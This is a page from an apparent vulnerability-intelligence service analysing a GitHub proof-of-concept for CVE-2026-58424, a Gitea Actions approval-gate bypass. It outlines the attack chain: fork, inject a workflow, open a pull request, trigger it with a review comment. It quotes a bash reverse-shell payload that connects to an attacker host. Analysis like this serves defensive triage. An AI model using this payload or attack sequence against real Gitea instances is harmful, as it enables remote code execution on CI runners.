BridgerAlderson/CVE-2026-58424

GitHubRepository PoCExploit

PoC files

2 files

File viewing is interactive and short-lived. Downloads are password-protected ZIP archives using password eip.

GitHub
Analysisdeepseek-v4-pro:cloud ·

Technical assessment

A Python script that exploits CVE-2026-58424, a Gitea Actions approval gate bypass, by injecting a malicious workflow into a forked repository and triggering it via a pull request review comment to achieve remote code execution on the runner.

Backdoor review

No backdoor observed in reviewed code

The PoC implements a documented CVE-2026-58424 exploit against Gitea. It uses the Gitea API to fork a repo, inject a workflow, open a PR, and trigger a review event to bypass the approval gate, resulting in a reverse shell. All behavior is consistent with the stated vulnerability and no concealed backdoor, credential exfiltration, persistence, or unrelated payload was observed.

ClassificationExploit
Model confidence98%
AuthenticationRequired
Languagespython
Target softwareGitea
Attack typesremote code executionauthentication bypass
Evidence & reasoningClassification basis · observed behavior · safety review
Technical evidence

Classification basis and observed behavior

Classification basis

The artifact is a fully functional Python script that automates the exploitation of CVE-2026-58424. It performs all steps required to achieve remote code execution: authentication, forking, workflow injection, pull request creation, and triggering the bypass via a review comment. The README explicitly describes it as a PoC and provides usage instructions for exploitation.

CVE-2026-58424.py:1-4README.md:45

Requirements

  • Requires a Gitea account with fork permission and an API token, Kerberos ticket, or session cookie.CVE-2026-58424.py:17-29
  • Target repository must have Gitea Actions enabled.CVE-2026-58424.py:364-367
  • An act_runner must be online and registered for the target repository.README.md:40
  • Attacker host must be reachable from the runner to receive the reverse shell.README.md:41

Observed behavior

  • Authenticates to the Gitea API using a token, Kerberos ticket, or session cookie.CVE-2026-58424.py:283-328
  • Forks the target repository into the attacker's namespace.CVE-2026-58424.py:486-494
  • Enables Actions on the forked repository.CVE-2026-58424.py:496-504
  • Injects a malicious workflow YAML file into the fork that includes a reverse shell payload and triggers on pull_request_review and other unapproved events.CVE-2026-58424.py:545-618
  • Opens a pull request from the fork to the target repository.CVE-2026-58424.py:622-693
  • Triggers the bypass by posting a review comment on the pull request, which fires a pull_request_review event that dispatches the workflow job without approval.CVE-2026-58424.py:697-716
  • The runner executes the payload, establishing a reverse shell to the attacker's listener.CVE-2026-58424.py:887-905
Safety-review evidence

Behaviors behind the backdoor verdict

Observables

Reverse Shell Payload
bash -c 'bash -i >& /dev/tcp/{lhost}/{lport} 0>&1'Standard reverse shell payload delivered via the injected workflow; consistent with the stated exploit goal.CVE-2026-58424.py:129
Exploit Trigger
POST review comment to bypass ifNeedApproval()The core bypass mechanism matches the CVE description: posting a review comment triggers pull_request_review event without approval check.CVE-2026-58424.py:697-716
Review boundaries

What the analysis did not establish

  • Evidence is limited to the supplied text files; no binary or opaque content was inspected.
  • The artifact's behavior is inferred from static analysis of the source code; it was not executed.
  • The analysis assumes the code functions as described; no verification of its effectiveness or safety was performed.
  • Only the two text files (CVE-2026-58424.py and README.md) were reviewed; no binary files were present in the evidence packet.
  • The review does not assess the safety or correctness of the exploit code, only the presence of backdoor behavior.
Model interpretation

This review is limited to the supplied PoC code and context. It does not assert that the code works or is safe to execute.

Linked vulnerabilities

1